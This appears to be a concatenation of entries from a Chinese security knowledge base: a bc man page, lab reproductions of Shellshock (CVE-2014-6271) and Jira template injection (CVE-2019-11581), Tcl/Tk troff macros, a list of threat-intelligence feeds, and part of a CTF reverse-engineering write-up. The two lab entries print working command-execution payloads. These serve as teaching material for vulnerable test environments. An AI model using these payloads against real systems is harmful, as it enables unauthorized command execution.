bc === 算术操作精密运算工具 ## 补充说明 **bc命令** 是一种支持任意精度的交互执行的计算器语言。bash内置了对整数四则运算的支持,但是并不支持浮点运算,而bc命令可以很方便的进行浮点运算,当然整数运算也不再话下。 ### 语法 ```shell bc(选项)(参数) ``` ### 选项 ```shell -i:强制进入交互式模式; -l:定义使用的标准数学库; -w:对POSIX bc的扩展给出警告信息; -q:不打印正常的GNU bc环境信息; -v:显示指令版本信息; -h:显示指令的帮助信息。 ``` ### 参数 文件:指定包含计算任务的文件。 ### 实例 算术操作高级运算bc命令它可以执行浮点运算和一些高级函数: ```shell echo "1.212*3" | bc 3.636 ``` 设定小数精度(数值范围) ```shell echo "scale=2;3/8" | bc 0.37 ``` 参数`scale=2`是将bc输出结果的小数位设置为2位。 进制转换 ```shell #!/bin/bash abc=192 echo "obase=2;$abc" | bc ``` 执行结果为:11000000,这是用bc将十进制转换成二进制。 ```shell #!/bin/bash abc=11000000 echo "obase=10;ibase=2;$abc" | bc ``` 执行结果为:192,这是用bc将二进制转换为十进制。 计算平方和平方根: ```shell echo "10^10" | bc echo "sqrt(100)" | bc ```
sec-knowleage
# Bash Shellshock 破壳漏洞(CVE-2014-6271) 编译运行: ``` docker compose up -d ``` 服务启动后,有两个页面`http://your-ip:8080/victim.cgi`和`http://your-ip:8080/safe.cgi`。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。 将payload附在User-Agent中访问victim.cgi: ``` User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id ``` 命令成功被执行: ![](1.png) 同样的数据包访问safe.cgi,不受影响: ![](2.png)
sec-knowleage
# Atlassian Jira 模板注入漏洞(CVE-2019-11581) Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。 多个版本前存在利用模板注入执行任意命令: - 4.4.x - 5.x.x - 6.x.x - 7.0.x - 7.1.x - 7.2.x - 7.3.x - 7.4.x - 7.5.x - 7.6.x before 7.6.14 (the fixed version for 7.6.x) - 7.7.x - 7.8.x - 7.9.x - 7.10.x - 7.11.x - 7.12.x - 7.13.x before 7.13.5 (the fixed version for 7.13.x) - 8.0.x before 8.0.3 (the fixed version for 8.0.x) - 8.1.x before 8.1.2 (the fixed version for 8.1.x) - 8.2.x before 8.2.3 (the fixed version for 8.2.x) 参考资料: - https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html - https://jira.atlassian.com/browse/JRASERVER-69532 - https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw ## 环境搭建 执行如下命令启动一个Jira Server 8.1.0: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`会进入安装引导,切换“中文”,VPS条件下选择“将其设置为我”(第一项)去Atlassian官方申请一个Jira Server的测试证书(不要选择Data Center和Addons): 然后继续安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。 ![](7.png) 添加 SMTP 电邮服务器 `/secure/admin/AddSmtpMailServer!default.jspa` ![](8.png) 进入系统设置 `/secure/admin/ViewApplicationProperties.jspa` ,开启“联系管理员表单” ![](9.png) 貌似还要有项目才能玩,所以随便创建一个示例就行了,然后你就可以愉快的玩耍了 ## 漏洞复现 PoC 和 CVE-2019-3396 一样 ``` $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('calc').toString() ``` Linux 没有 calc, 所以 ``` $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('whoami').toString() ``` 运行`poc.py`或者进入`/secure/ContactAdministrators!default.jspa` 直接提交 PoC ![](11.png) ![](12.png) 如果没看到 smtpd 有数据,那么就可能卡队列了 电邮队列瞅一瞅 `/secure/admin/MailQueueAdmin!default.jspa` ![](13.png)
sec-knowleage
'\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: man.macros,v 1.1 2003/11/10 06:31:10 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 4c 8c 12c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 ..
sec-knowleage
# 威胁情报数据源·整合 本篇整理公开的威胁情报数据源,但公开不等于无版权,注意哦~ ## IOC Repositories > These repo’s contain threat intelligence generally updated manually when the respective orgs publish threat reports.[2] - https://github.com/aptnotes/data - https://github.com/citizenlab/malware-indicators - https://github.com/da667/667s_Shitlist - https://github.com/eset/malware-ioc - https://github.com/fireeye/iocs - https://github.com/Neo23x0/signature-base/tree/master/iocs - https://github.com/pan-unit42/iocs - https://github.com/stamparm/maltrail/tree/master/trails/static/malware - https://github.com/stamparm/maltrail/tree/master/trails/static/suspicious ## IOC Feeds > These URLs are data feeds of various types from scanning IPs from honeypots to C2 domains from malware sandboxes, and many other types. They were compiled from several sources, including (but not limited to): [1](https://github.com/mlsecproject/combine/issues/25), [2](https://github.com/mlsecproject/combine/blob/master/inbound_urls.txt), [3](https://github.com/mlsecproject/combine/blob/master/outbound_urls.txt), [4](https://github.com/stamparm/maltrail/tree/master/trails/feeds), [5](https://github.com/cloudsriseup/datasets/tree/master/osint/CIFConf), [6](https://github.com/TW-NCERT/ctifeeds). They are in alphabetical order.[2] - http://antispam.imp.ch/wormlist - http://app.webinspector.com/recent_detections - http://atrack.h3x.eu/api/asprox_suspected.php - http://autoshun.org/files/shunlist.csv - http://blocklist.greensnow.co/greensnow.txt - http://botscout.com/last.htm - http://botscout.com/last_caught_cache.htm - http://charles.the-haleys.org/ssh_dico_attack_hdeny_format.php/hostsdeny.txt - http://cinsscore.com/list/ci-badguys.txt - http://cybercrime-tracker.net/all.php - http://cybercrime-tracker.net/ccam.php - http://cybercrime-tracker.net/ccpmgate.php - http://danger.rulez.sk/projects/bruteforceblocker/blist.php - http://data.netlab.360.com/feeds/dga/dga.txt - http://data.netlab.360.com/feeds/ek/magnitude.txt - http://data.netlab.360.com/feeds/ek/neutrino.txt - http://data.netlab.360.com/feeds/mirai-scanner/scanner.list - http://data.phishtank.com/data/online-valid.csv - http://dns-bh.sagadc.org/dynamic_dns.txt - http://feeds.dshield.org/top10-2.txt - http://hosts-file.net/?s=Browse&f=2014 - http://labs.snort.org/feeds/ip-filter.blf - http://labs.sucuri.net/?malware - http://lists.blocklist.de/lists/all.txt - http://malc0de.com/bl/BOOT - http://malc0de.com/bl/IP_Blacklist.txt - http://malc0de.com/rss/ - http://malwaredb.malekal.com/ - http://malwaredomains.lehigh.edu/files/domains.txt - http://malwareurls.joxeankoret.com/normal.txt - http://mirror2.malwaredomains.com/files/immortal_domains.txt - http://mirror2.malwaredomains.com/files/justdomains - http://multiproxy.org/txt_all/proxy.txt - http://openphish.com/feed.txt - http://osint.bambenekconsulting.com/feeds/c2-dommasterlist-high.txt - http://osint.bambenekconsulting.com/feeds/c2-dommasterlist.txt - http://osint.bambenekconsulting.com/feeds/c2-ipmasterlist-high.txt - http://osint.bambenekconsulting.com/feeds/c2-ipmasterlist.txt - http://osint.bambenekconsulting.com/feeds/c2-masterlist.txt - http://osint.bambenekconsulting.com/feeds/dga-feed.txt - [http://ransomwaretracker.abuse.ch](http://ransomwaretracker.abuse.ch/) - http://report.rutgers.edu/DROP/attackers - http://reputation.alienvault.com/reputation.data - http://rules.emergingthreats.net/blockrules/emerging-ciarmy.rules - http://rules.emergingthreats.net/blockrules/emerging-compromised.rules - http://rules.emergingthreats.net/fwrules/emerging-PF-CC.rules - http://rules.emergingthreats.net/open/suricata/rules/botcc.rules - http://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt - http://sblam.com/blacklist.txt - http://support.clean-mx.de/clean-mx/xmlviruses.php - http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv - http://tracker.h3x.eu/api/sites_1day.php - http://virbl.org/download/virbl.dnsbl.bit.nl.txt - http://vmx.yourcmc.ru/BAD_HOSTS.IP4 - http://vxvault.net/URL_List.php - http://vxvault.siri-urz.net/URL_List.php - http://vxvault.siri-urz.net/ViriList.php - http://www.autoshun.org/files/shunlist.csv - http://www.blocklist.de/lists/apache.txt - http://www.blocklist.de/lists/asterisk.txt - http://www.blocklist.de/lists/bots.txt - http://www.blocklist.de/lists/courierimap.txt - http://www.blocklist.de/lists/courierpop3.txt - http://www.blocklist.de/lists/email.txt - http://www.blocklist.de/lists/ftp.txt - http://www.blocklist.de/lists/imap.txt - http://www.blocklist.de/lists/ircbot.txt - http://www.blocklist.de/lists/pop3.txt - http://www.blocklist.de/lists/postfix.txt - http://www.blocklist.de/lists/proftpd.txt - http://www.blocklist.de/lists/sip.txt - http://www.blocklist.de/lists/ssh.txt - http://www.botvrij.eu/data/ioclist.url - http://www.ciarmy.com/list/ci-badguys.txt - http://www.dshield.org/ipsascii.html?limit=10000 - http://www.falconcrest.eu/IPBL.aspx - http://www.joewein.net/dl/bl/dom-bl-base.txt - http://www.joewein.net/dl/bl/dom-bl.txt - [http://www.malware-traffic-analysis.net](http://www.malware-traffic-analysis.net/) - http://www.malwareblacklist.com/showAllMalwareURL.php?userName=Guest&sessionID=&downloadOption=0 - http://www.malwaredomainlist.com/hostslist/ip.txt - http://www.malwaredomainlist.com/updatescsv.php - http://www.malwaregroup.com/ipaddresses - http://www.michaelbrentecklund.com/whm-cpanel-cphulk-banlist-whm-cpanel-cphulk-blacklist/ - http://www.mirc.com/servers.ini - http://www.nothink.org/blacklist/blacklist_malware_dns.txt - http://www.nothink.org/blacklist/blacklist_malware_http.txt - http://www.nothink.org/blacklist/blacklist_malware_irc.txt - http://www.nothink.org/blacklist/blacklist_snmp_2015.txt - http://www.nothink.org/blacklist/blacklist_ssh_day.txt - http://www.projecthoneypot.org/list_of_ips.php - http://www.spamhaus.org/drop/drop.txt - http://www.spamhaus.org/drop/edrop.txt - http://www.stopforumspam.com/downloads/listed_ip_1_all.zip - http://www.stopforumspam.com/downloads/toxic_ip_cidr.txt - http://www.urlvir.com/export-hosts/ - http://www.voipbl.org/update/ - https://atlas.arbor.net/summary/domainlist - https://dataplane.org/sshclient.txt - https://dataplane.org/sshpwauth.txt - https://disconnect.me/lists/malvertising - https://disconnect.me/lists/malwarefilter - https://dragonresearchgroup.org/insight/sshpwauth.txt - https://dragonresearchgroup.org/insight/vncprobe.txt - [https://feodotracker.abuse.ch](https://feodotracker.abuse.ch/) - https://github.com/stamparm/maltrail/blob/master/trails/static/mass_scanner.txt - https://gitlab.com/ZeroDot1/CoinBlockerLists/blob/master/list.txt - https://isc.sans.edu/feeds/daily_sources - https://isc.sans.edu/feeds/suspiciousdomains_High.txt - https://isc.sans.edu/feeds/suspiciousdomains_Low.txt - https://isc.sans.edu/feeds/suspiciousdomains_Medium.txt - https://isc.sans.edu/feeds/topips.txt - https://isc.sans.edu/ipsascii.html - https://lists.malwarepatrol.net/cgi/getfile?receipt=f1417692233&product=8&list=dansguardian - https://malc0de.com/bl/ZONES - https://malsilo.gitlab.io/feeds/dumps/url_list.txt - https://malwared.malwaremustdie.org/rss.php - https://malwared.malwaremustdie.org/rss_bin.php - https://malwared.malwaremustdie.org/rss_ssh.php - https://myip.ms/files/blacklist/htaccess/latest_blacklist.txt - https://onionoo.torproject.org/details?type=relay&running=true - [https://palevotracker.abuse.ch](https://palevotracker.abuse.ch/) - https://paste.cryptolaemus.com/feed.xml - https://raw.githubusercontent.com/botherder/targetedthreats/master/targetedthreats.csv - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/bitcoin_nodes_1d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/botscout_1d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/cruzit_web_attacks.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/malwaredomainlist.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/proxylists_1d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/proxyrss_1d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/proxyspy_1d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/ri_web_proxies_30d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/socks_proxy_7d.ipset - https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/sslproxies_1d.ipset - https://raw.githubusercontent.com/futpib/policeman-rulesets/master/examples/simple_domains_blacklist.txt - https://raw.githubusercontent.com/Neo23x0/signature-base/master/iocs/otx-c2-iocs.txt - https://rules.emergingthreats.net/open/suricata/rules/emerging-dns.rules - https://secure.dshield.org/ipsascii.html?limit=1000 - [https://sslbl.abuse.ch](https://sslbl.abuse.ch/) - https://techhelplist.com/maltlqr/reports/dyreza.txt - https://techhelplist.com/pastes - https://techhelplist.com/spam-list - https://threatfeeds.io/ - https://torstatus.blutmagie.de/ip_list_all.php/Tor_ip_list_ALL.csv - https://urlhaus.abuse.ch/downloads/csv/ - https://www.badips.com/get/list/any/2?age=7d - https://www.circl.lu/doc/misp/feed-osint/ - https://www.dan.me.uk/torlist/ - https://www.hidemyass.com/vpn-config/l2tp/ - https://www.malwaredomainlist.com/hostslist/hosts.txt - https://www.maxmind.com/en/anonymous_proxies - https://www.maxmind.com/en/high-risk-ip-sample-list - https://www.openbl.org/lists/base.txt - https://www.openbl.org/lists/base_all_ftp-only.txt - https://www.openbl.org/lists/base_all_http-only.txt - https://www.openbl.org/lists/base_all_smtp-only.txt - https://www.openbl.org/lists/base_all_ssh-only.txt - https://www.packetmail.net/iprep.txt - https://www.packetmail.net/iprep_CARISIRT.txt - https://www.packetmail.net/iprep_ramnode.txt - https://www.trustedsec.com/banlist.txt - https://www.turris.cz/greylist-data/greylist-latest.csv - [https://zeustracker.abuse.ch ## 杂·情报源 - Cisco Threat Research Blog - https://blogs.cisco.com/talos - CIRCL - https://www.circl.lu/ - Malwr.com - [https://malwr.com](https://malwr.com/) - ipinfo - [https://www.ipinfo.io](https://www.ipinfo.io/) - Robtex - [https://www.robtex.com](https://www.robtex.com/) - CleanMX - [https://www.cleanmx.com](https://www.cleanmx.com/) - VirusShare - [https://www.virusshare.com](https://www.virusshare.com/) - Sinica - [https://www.sinica.edu.tw](https://www.sinica.edu.tw/) - Native - ThreatMiner also periodically carries out its own DNS enrichment via native applications. - Loki https://github.com/Neo23x0/Loki - Maltiverse https://maltiverse.com/dashboards/newioc - InQuest Labs IOC DB https://labs.inquest.net/iocdb - Abuse.ch http://abuse.ch/ - Anomali STAXX https://www.anomali.com/community/staxx - Autoshun https://www.autoshun.org - Bambenek https://www.bambenekconsulting.com/ - Block List Project https://blocklist.site/ - Bitdefender (Advanced Threat Intelligence) https://www.bitdefender.com/ - BruteForceBlocker http://danger.rulez.sk/index.php/bruteforceblocker/ - CERT-EU https://cert.europa.eu/cert/filteredition/en/CERTLatestNews.html/ - http://cinsscore.com/ http://cinsscore.com/ - Collaborative Research Into Threats - CRITs https://crits.github.io/ - Comodo Site Inspector http://siteinspector.comodo.com/ - DNS8 https://www.layer8.pt/products/dns8/ - DShield https://www.dshield.org/ - ESET https://www.eset.com - Fortinet https://www.fortinet.com/ - Google Safebrowsing https://safebrowsing.google.com/ - Hybrid Analysis https://www.hybrid-analysis.com/ - Malc0de http://malc0de.com/ - Malshare https://malshare.com/ - MISP Platform https://www.misp-project.org/ - National Certs (NCSC-FI example) https://www.cybersecurityintelligence.com/nationalcyber-security-centre-finland-ncsc-fi-1916.html - OpenPhish https://openphish.com - OTX AlienVault https://otx.alienvault.com/ - PhishTank https://www.phishtank.com/ - Proofpoint https://www.proofpoint.com/us/daily-rulesetupdate-summary - Shadowserver https://www.shadowserver.org/ - Spamhaus https://www.spamhaus.org/ - TalosIntelligence https://talosintelligence.com - Threat Miner https://www.threatminer.org/ - Trustwave (SpiderLabs Blog) https://www.trustwave.com - US DHS - Automated Indicator Sharing https://www.cisa.gov/automated-indicator-sharing-ais - Virus Total https://www.virustotal.com - List of Resource Links from Open-Source Intelligence Summit 2021 https://www.sans.org/blog/list-of-resource-links-from-open-source-intelligence-summit-2021/ ### 详细的类别 <img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200815211931.png" style="zoom:50%;" /> 图:威胁情报分类 ## References \[1] 威胁情报源, ThreatHunter, https://www.jianshu.com/p/747e57705535 \[2] Threat Intelligence, Jason Trost, http://www.covert.io/threat-intelligence/
sec-knowleage
# DoSaTTaCK * Category: Reverse Engineering * 1200 Points * Solved by the JCTF Team ## Description > What is this file and how can it help you get the flag? Attached was a file called `challenge.flp`. ## Solution Let's inspect this file: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file challenge.flp challenge.flp: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "WINIMAGE", sectors/cluster 2, root entries 112, sectors 640 (volumes <=32 MB), Media descriptor 0xfd, sectors/FAT 1, sectors/track 8, serial number 0x22550c8e, label: " ", FAT (12 bit), followed by FAT ``` This looks like an image of a floppy disk, 7Zip can usually extract these files: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# 7z e challenge.flp 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 327680 bytes (320 KiB) Extracting archive: challenge.flp -- Path = challenge.flp Type = FAT Physical Size = 327680 File System = FAT12 Cluster Size = 1024 Free Space = 266240 Headers Size = 7168 Sector Size = 512 ID = 575999118 Everything is Ok Folders: 2 Files: 3 Size: 52676 Compressed: 327680 root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# ls -al drwxrwx--- 1 root vboxsf 4096 Jun 21 13:08 . drwxrwx--- 1 root vboxsf 4096 Jun 20 19:23 .. -rwxrwx--- 1 root vboxsf 327680 Jun 11 19:10 challenge.flp -rwxrwx--- 1 root vboxsf 17216 Apr 6 1992 CLIENT.EXE -rwxrwx--- 1 root vboxsf 11892 Sep 26 1987 MAIN.ENC -rwxrwx--- 1 root vboxsf 23568 Apr 6 1992 SERVER.EXE ``` We have three pretty old executable files (dated 1987 and 1992): ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file CLIENT.EXE CLIENT.EXE: MS-DOS executable, NE for MS Windows 3.x root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file SERVER.EXE SERVER.EXE: MS-DOS executable, NE for MS Windows 3.x root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file MAIN.ENC MAIN.ENC: MS-DOS executable, MZ for MS-DOS ``` Two of them are NE ([New Executable](https://en.wikipedia.org/wiki/New_Executable)) files for Windows 3.x, and one looks like a standard [MZ file](https://en.wikipedia.org/wiki/DOS_MZ_executable) for DOS. If we try to rename `MAIN.ENC` to `MAIN.EXE` and run it via [DOSBox](https://www.dosbox.com/) (a cool emulator program which emulates an IBM PC compatible computer running a DOS operating system) - DOSBox itself immediately crashes. Perhaps we will have more luck by running the client and server? Peeking into the assembly of the executables, we see that they are supposed to be run under Windows 3.1 only: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# strings CLIENT.EXE | grep Windows This program requires Microsoft Windows. =Windows TTY Sample Application (c) 1991 Microsoft Corporation Run under Windows 3.1 Only root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# strings SERVER.EXE | grep Windows This program requires Microsoft Windows. =Windows TTY Sample Application (c) 1991 Microsoft Corporation Run under Windows 3.1 Only Microsoft Windows v.%d.%d ``` Some retro gaming sites offer packages which allow running old games on Windows 3.11. We can use one of those to run the executables and see what happens: Running the server: ![](images/server.png) Running the client: ![](images/client.png) Looks like they are trying to communicate in some way (obviously, given they are a client and server) but nothing seems to happen. Time to open a disassembler and try to understand was supposed to happen. A few words about the NE (New Executable) format, from Wikipedia: > The New Executable (abbreviated NE or NewEXE) is a 16-bit .exe file format, a successor to the DOS MZ executable format. It was used in Windows 1.0–3.x, multitasking MS-DOS 4.0 [...]. > > The first product to be released using the New Executable format was Windows 1.0 in 1985, followed by the 1986 multitasking MS-DOS 4.0, which was a separate branch of MS-DOS development, released between mainstream MS-DOS versions 3.2 and 3.3, and sometimes referred to as "European MS-DOS 4.0". > > [...] > > The Portable Executable (PE) format replaced NE format in 32-bit and 64-bit versions of Windows [...]. Why is this important? Because support for NE files in modern disassemblers is usually partial at most. IDA Free doesn't support it (IDA Pro does, but is pretty expensive). Ghidra has partial support but basic functionality such as string referencing isn't supported. In this writeup, we'll use a tool called `W32Dasm` (version 10.0) which probably is much less convenient than IDA-Pro, but can be used freely. We'll start from the client. After opening CLIENT.EXE in the disassembler, we click the "String Data References" button and get the following string references: ![](images/client_stringref.png) Since "Calculating Key" was the first string printed to the console, let's search for it. The reference brings us to the following function: ```assembly * Referenced by a CALL at Address: |:0001.01B6 | :0001.0076 C85E0100 enter 015E, 00 :0001.007A 57 push di :0001.007B 56 push si :0001.007C 8B4606 mov ax, [bp+06] :0001.007F A37200 mov word ptr [0072], ax * Possible StringData Ref from Data Seg 002 ->"Calculating key.." | :0001.0082 687400 push 0074 :0001.0085 0E push cs :0001.0086 E8C3FF call 004C :0001.0089 83C402 add sp, 0002 :0001.008C 9AFFFF0000 call KERNEL.GETCURRENTTASK :0001.0091 8946FC mov [bp-04], ax :0001.0094 8BC8 mov cx, ax :0001.0096 2BDB sub bx, bx :0001.0098 899EA8FE mov [bp+FEA8], bx :0001.009C 8986AAFE mov [bp+FEAA], ax :0001.00A0 81C3FA00 add bx, 00FA :0001.00A4 83D100 adc cx, 0000 :0001.00A7 8EC1 mov es, cx :0001.00A9 8BC8 mov cx, ax :0001.00AB 8BB6A8FE mov si, [bp+FEA8] :0001.00AF 81C6B400 add si, 00B4 :0001.00B3 83D100 adc cx, 0000 :0001.00B6 8CC0 mov ax, es :0001.00B8 899EA4FE mov [bp+FEA4], bx :0001.00BC 8C86A6FE mov [bp+FEA6], es :0001.00C0 8EC1 mov es, cx :0001.00C2 268A6401 mov ah, es:[si+01] :0001.00C6 2AC0 sub al , al :0001.00C8 268A0C mov cl , es:[si] :0001.00CB 2AED sub ch, ch :0001.00CD 03C1 add ax, cx :0001.00CF 2D3953 sub ax, 5339 :0001.00D2 8BC8 mov cx, ax :0001.00D4 2BD2 sub dx, dx :0001.00D6 8E86A6FE mov es, [bp+FEA6] :0001.00DA 2AC0 sub al , al :0001.00DC 268A6701 mov ah, es:[bx+01] :0001.00E0 8986A2FE mov [bp+FEA2], ax :0001.00E4 268A07 mov al , es:[bx] :0001.00E7 2AE4 sub ah, ah :0001.00E9 0386A2FE add ax, [bp+FEA2] :0001.00ED 2D5443 sub ax, 4354 :0001.00F0 03D0 add dx, ax :0001.00F2 83D100 adc cx, 0000 :0001.00F5 1E push ds :0001.00F6 8DBEACFE lea di, [bp+FEAC] :0001.00FA 8BF2 mov si, dx :0001.00FC 8CD0 mov ax, ss :0001.00FE 8EC0 mov es, ax :0001.0100 8ED9 mov ds, cx :0001.0102 B98000 mov cx, 0080 :0001.0105 F3 repz :0001.0106 A5 movsw :0001.0107 1F pop ds * Possible StringData Ref from Data Seg 002 ->"Sending key.." | :0001.0108 688800 push 0088 :0001.010B 0E push cs :0001.010C E83DFF call 004C :0001.010F 83C402 add sp, 0002 * Possible StringData Ref from Data Seg 002 ->"Sending Magic Byte.." | :0001.0112 689800 push 0098 :0001.0115 0E push cs :0001.0116 E833FF call 004C :0001.0119 83C402 add sp, 0002 :0001.011C 689100 push 0091 :0001.011F FF7606 push word ptr [bp+06] :0001.0122 E8CD0E call 0FF2 :0001.0125 83C404 add sp, 0004 :0001.0128 8D86ACFE lea ax, [bp+FEAC] :0001.012C 8946FE mov [bp-02], ax :0001.012F 8BF0 mov si, ax :0001.0131 8B7E06 mov di, [bp+06] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:0001.0164(C) | :0001.0134 8A04 mov al , [si] :0001.0136 2AE4 sub ah, ah :0001.0138 50 push ax * Possible StringData Ref from Data Seg 002 ->"%02X" | :0001.0139 68AF00 push 00AF :0001.013C 8D46AC lea ax, [bp-54] :0001.013F 50 push ax :0001.0140 9A402D2802 call 0001.2D40 :0001.0145 83C406 add sp, 0006 :0001.0148 8A46AC mov al , [bp-54] :0001.014B 50 push ax :0001.014C 57 push di :0001.014D E8A20E call 0FF2 :0001.0150 83C404 add sp, 0004 :0001.0153 8A46AD mov al , [bp-53] :0001.0156 50 push ax :0001.0157 57 push di :0001.0158 E8970E call 0FF2 :0001.015B 83C404 add sp, 0004 